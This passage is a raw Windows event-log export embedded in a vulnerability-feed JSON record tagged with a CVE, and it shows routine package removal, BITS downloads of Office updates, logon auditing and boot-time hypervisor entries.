deprovisioned\tInformation\tMicrosoft-Windows-Privacy-Auditing/Operational\tMicrosoft-Windows-Privacy-Auditing\n05.09.2026 09:16:53.054\t2415\tAn application was unregistered with the following parameters: Microsoft.Office.ActionsServer_8wekyb3d8bbwe!Microsoft.Office.ActionsServer [AppUserModelId] The operation completed successfully. [ErrorCode]\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:16:53.061\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.061\t617\tSuccessfully updated the status for package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe and user S-1-5-21-3712849175-2219398513-4278588552-1006 (Clear=0xFFFFFFFF, Set=0x0).\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.066\t41\tSuccessfully deleted AppContainer Microsoft.Office.ActionsServer_8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:16:53.091\t2562\t\tInformation\tApplication\tMicrosoft-Windows-AppXDeploymentServer/Operational\n05.09.2026 09:16:53.131\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:53.134\t818\tDetermining packages to be installed during logon for user: S-1-5-21-3712849175-2219398513-4278588552-1006.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.138\t400\tDeployment Remove operation with target volume C: on Package Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe from:  (Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe)  finished successfully.\tInformation\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.141\t472\tMoving package folder \\\\?\\C:\\Program Files\\WindowsApps\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe to \\\\?\\C:\\Program Files\\WindowsApps\\Deleted\\Microsoft.Office.ActionsServer_16.0.20326.20112_neutral__8wekyb3d8bbwe21e230d2-de2e-443e-8514-9c932ad21344. Result: 0x0.\tVerbose\tMicrosoft-Windows-AppXDeploymentServer/Operational\tMicrosoft-Windows-AppXDeployment-Server\n05.09.2026 09:16:53.152\t271\tSRCache successfully updated [Options=0x0]\tVerbose\tMicrosoft-Windows-StateRepository/Operational\tMicrosoft-Windows-StateRepository\n05.09.2026 09:16:54.669\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:54.672\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:16:56.928\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.928\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:16:56.965\t7040\tThe start type of the \u0424\u043e\u043d\u043e\u0432\u0430\u044f \u0438\u043d\u0442\u0435\u043b\u043b\u0435\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 (BITS) service was changed from \u0412\u0440\u0443\u0447\u043d\u0443\u044e to \u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438.\tInformation\tSystem\tService Control Manager\n05.09.2026 09:16:56.975\t306\tThe BITS service loaded the job list from disk.\tVerbose\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:16:56.980\t145\tWSMan operation Enumeration started with resourceUri http://schemas.microsoft.com/wbem/wsman/1/config/listener\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:16:57.771\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:00.107\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:01.067\t254\tActivity Transfer\tInformation\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t161\t\u041a\u043b\u0438\u0435\u043d\u0442\u0443 \u043d\u0435 \u0443\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0438\u0442\u044c\u0441\u044f \u043a \u0443\u0437\u043b\u0443 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f, \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u043e\u043c\u0443 \u0432 \u0437\u0430\u043f\u0440\u043e\u0441\u0435. \u0423\u0431\u0435\u0434\u0438\u0442\u0435\u0441\u044c, \u0447\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0437\u0430\u043f\u0440\u043e\u0441\u044b. \u041e\u0437\u043d\u0430\u043a\u043e\u043c\u044c\u0442\u0435\u0441\u044c \u0441 \u0436\u0443\u0440\u043d\u0430\u043b\u0430\u043c\u0438 \u0438 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0435\u0439 \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u043d\u043e\u0439 \u043d\u0430 \u0443\u0437\u043b\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b WS-Management (\u0447\u0430\u0449\u0435 \u0432\u0441\u0435\u0433\u043e \u044d\u0442\u043e IIS \u0438\u043b\u0438 WinRM). \u0415\u0441\u043b\u0438 \u044d\u0442\u043e \u0441\u043b\u0443\u0436\u0431\u0430 WinRM, \u0442\u043e \u0434\u043b\u044f \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u044f \u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u044d\u0442\u043e\u0439 \u0441\u043b\u0443\u0436\u0431\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0443\u0437\u043b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 \"winrm quickconfig\".\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.067\t142\tWSMan operation Enumeration failed, error code 2150858770\tError\tMicrosoft-Windows-WinRM/Operational\tMicrosoft-Windows-WinRM\n05.09.2026 09:17:01.102\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-544\n\tGroup Name:\t\t\u0410\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.103\t4799\t\"A security-enabled local group membership was enumerated.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nGroup:\n\tSecurity ID:\t\tS-1-5-32-551\n\tGroup Name:\t\t\u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u0430\u0440\u0445\u0438\u0432\u0430\n\tGroup Domain:\t\tBuiltin\n\nProcess Information:\n\tProcess ID:\t\t0x379c\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 09:17:01.259\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.268\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.465\t310\tThe initialization of the peer helper modules failed with the following error:  0x80070032.\tWarning\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.475\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.581\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.583\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {38a663b2-655a-4099-b6b9-05b5586514e3}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.586\t3\t\"The BITS service created a new job.\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nProcess Path: C:\\Users\\admin\\AppData\\Local\\Temp\\Setup055E06B0-880E-4FE1-969E-58992B5940F0\\setup.exe\nProcess ID: 19332\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.590\t16403\t\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.697\t59\tBITS started the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.856\t60\tBITS stopped transferring the Microsoft Office Click-to-Run transfer job that is associated with the http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v64_16.0.20326.20132.cab URL. The status code is 0x0.\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:01.858\t4\t\"The transfer job is complete.\nUser: HONOR-FRG-X\\admin\nTransfer job: Microsoft Office Click-to-Run\nJob ID: {6f42b80d-7019-4f62-b47c-c9cc61bf79ee}\nOwner: HONOR-FRG-X\\admin\nFile count: 1\"\tInformation\tMicrosoft-Windows-Bits-Client/Operational\tMicrosoft-Windows-Bits-Client\n05.09.2026 09:17:02.444\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:17.018\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:25.037\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:26.473\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:31.143\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:34.478\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.378\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:36.932\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:37.822\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:38.934\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.280\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:44.834\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:45.806\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.820\t8001\t\"Skipping license manager: PFN Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 09:17:45.821\t219\tPSMFlags for Desktop AppX process %1 with applicationID %2 is %3.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t210\tCreated Desktop AppX container {245CDFFE-A8C9-11F1-B7FF-289200F24A99} for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.855\t211\tAdded process 16932 to Desktop AppX container 245cdffe-a8c9-11f1-b7ff-289200f24a99 for package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:45.857\t201\tCreated process 16932 for application Microsoft.ScreenSketch_8wekyb3d8bbwe!App in package Microsoft.ScreenSketch_11.2602.49.0_x64__8wekyb3d8bbwe. [LaunchProcess]\tInformation\tMicrosoft-Windows-AppModel-Runtime/Admin\tMicrosoft-Windows-AppModel-Runtime\n05.09.2026 09:17:46.353\t3\t{\"category\":\"PresentMonWrapper\",\"level\":\"Warning\",\"message\":\"PresentMonSession already tracking\",\"parameters\":{\"handle\":\"235276AB010\",\"process\":0}}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:46.358\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"SnippingTool\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 09:17:51.490\t3055\tSome toast notifications have been cleared - informed session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.512\t2416\tA local notification was received from Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] with a 0 [NotificationId] through an application endpoint.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.518\t2418\tA local notification was submitted to threadpool: Microsoft.ScreenSketch_8wekyb3d8bbwe!App [AppUserModelId] toast [NotificationType] 9403 [NotificationTrackingId] Local [NotificationSource].\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.523\t3052\tToast with notification tracking id 9403 is being delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.527\t3153\tToast with notification tracking id 9403 is delivered to Microsoft.ScreenSketch_8wekyb3d8bbwe!App on session 1.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 09:17:51.658\t3049\tEndpoint 0x0 is being cleanedup\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n", "vulnerability": "CVE-2018-12127", "author": {"login": "automation"}}, {"uuid": "76a881e5-66db-418d-9268-879e243fdf04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T08:48:59.244790+00:00", "type": "seen", "source": "https://gist.github.com/fgh130/63d53080ee167c07046112e2e4ca57d8", "content": "Event Time\tEvent ID\tDescription\tLevel\tChannel\tProvider\n05.09.2026 08:28:48.091\t12\tThe operating system started at system time \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t25\t\"The system time was initialized to \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:47.500000000Z. \n\nLoader time: \u200e2026\u200e-\u200e09\u200e-\u200e05T01:28:46.000000000Z\nInternal boot flags: 0x2\nHAL RTC error code: 0x0\nRTC time is in UTC: false\nSoft boot: false\nSuccess: true\nPhase: 0\"\tInformation\tSystem\tMicrosoft-Windows-Kernel-General\n05.09.2026 08:28:48.091\t153\tVirtualization-based security (policies: VBS Enabled,VSM Required,Boot Chain Signer Soft Enforced) is enabled due to HyperV.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t82\tTrace point: Function:SipaInsertTcgLog Point:0 Status:STATUS_SUCCESS\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t18\tThere are 0x1 boot options on this system.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t32\tThe bootmgr spent 0 ms waiting for user input.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t20\tThe last shutdown's success status was true. The last boot's success status was true.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t39\tHypervisor Load Options -  IGNOREMEMPART=1 .\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t156\tHypervisor initial page allocation NUMA policy: Proportional NUMA distribution\tInformation\tMicrosoft-Windows-Hyper-V-Hypervisor-Admin\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.091\t238\tEFI time zone bias: 2047. Daylight flags: 0. Firmware time: \u200e2026\u200e-\u200e09\u200e-\u200e05T08:28:46.000000000Z.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t85\t\"Read and Unseal Master Key Array Package Status\n\nStatus: STATUS_SUCCESS\nPrimarySealedBlobName: VsmLocalKey2\nSecondaryProtectorVariableName: VsmLocalKeyProtector\nBlobFromUefiVariableSize: 723\nUefiContentIsSealed: 1\nUnsealedBlobSize: 210\nPcr7SealingUsed: 1\nPkgTpmSealMaskLocal: 0x880\nPkgTpmCreationMaskLocal: 0x880\nNeedToResealKeyPkg: 0\nNeedToResealBackup: 0\nNeedToResealPca2023Backup: 0\nPlaintextBlobSize: 210\nPlaintextIsLegacyFormat: 0\nUefiBlobIsCorrupt: 0\nNewKeyID: 0\nVerifiedMicrosoftAuthority: 0\nContainsAuthorityData: 0\nBootmgrAuthorityEventCount: 0\nAuthority: 2\n\nSubstatus\n\nPrimaryBlobUnsealStatus: STATUS_SUCCESS\nBackupBlobUnsealStatus: STATUS_WAIT_1\nPca2023ProtectorUnsealStatus: STATUS_WAIT_1\nBackupBlobValidityCheckStatus: {Object Exists}\nAn attempt was made to create an object and the object name already existed.\nBackupBlobStillValid: true\nPca2023ProtectorValidityCheckStatus: STATUS_WAIT_1\nPca2023ProtectorStillValid: false\nPrimaryBlobResealStatus: STATUS_WAIT_1\nBackupBlobResealStatus: STATUS_WAIT_1\nPca2023ProtectorResealStatus: STATUS_WAIT_1\nV2ProtectorsUsed: 0\nLegacyUefiVarQueryStatus: STATUS_WAIT_1\nLegacyUefiVarCleanupStatus: STATUS_WAIT_1\nActivePolicyVersion: 0\nLatchedPolicyVersion: 0\nUnlatchedPolicyVersion: 0\n\"\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t80\tFASR Platform Verification. FASR cert present: 0. FASR cert signature validation status: 0x1. BootmgrAuthorityEventCount: 0x1. VerifiedMicrosoftAuthority: 1. FASR PCR values validation status: 0x1. PCR mismatch index: -1. FASR cert size: 0. FASR cert: . FASR signature size: 0. FASR signature: .\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t51\tVSM Master Encryption Key Provisioning. Using cached copy status: 0x0. Primary Blob Unseal Status: 0x0. Backup Blob Unseal Status: 0x1. Pca2023 Protector Unseal Status: 0x1. LostOemPk Protector Unseal Status: 0x1. Backup Blob Validity Check Status: 0x40000000. Backup Blob Validity Check Result: true. Pca2023 Protector Validity Check Status: 0x1. Pca2023 Protector Validity Check Result: false. Primary Blob Reseal Status: 0x1. Backup Blob Reseal Status: 0x1. Pca2023 Protector Reseal Status: 0x1. New key generation status: 0x1. Sealing status: 0x1. TPM PCR mask: 0x880. Tpm Counter validation status: 0x2. Tpm Counter creation status: 0x1. Backup sealed blob used: false. Pca2023 Protector cleaned up post upgrade status: 0x1.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t45\tVSM Identity Key Provisioning. Unsealing cached copy status: 0xC0280018. New key generation status: 0x0. Measuring to PCR status: 0x0. Sealing and caching status: 0x0.\tInformation\tMicrosoft-Windows-Kernel-Boot/Operational\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t25\tThe boot menu policy was 0x1.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.091\t27\tThe boot type was 0x0.\tInformation\tSystem\tMicrosoft-Windows-Kernel-Boot\n05.09.2026 08:28:48.099\t1\tHypervisor successfully started.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t2\tHypervisor scheduler type is 0x4.\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t129\t\"Hypervisor initialized I/O remapping.\n\nHardware present: true\nHardware enabled: true\nPolicy: 0x0\nEnabled features: 0x63\nInternal information: 0x0\nProblems: 0x0\nAdditional information: 0x0\"\tInformation\tSystem\tMicrosoft-Windows-Hyper-V-Hypervisor\n05.09.2026 08:28:48.099\t156\t\"Hypervisor configured mitigations for CVE-2018-3646 for virtual machines.\n\nProcessor not affected: true\nProcessor family not affected: false\nProcessor supports cache flush: true\nHyperThreading enabled: false\nParent hypervisor applies mitigations: false\nMitigations disabled by 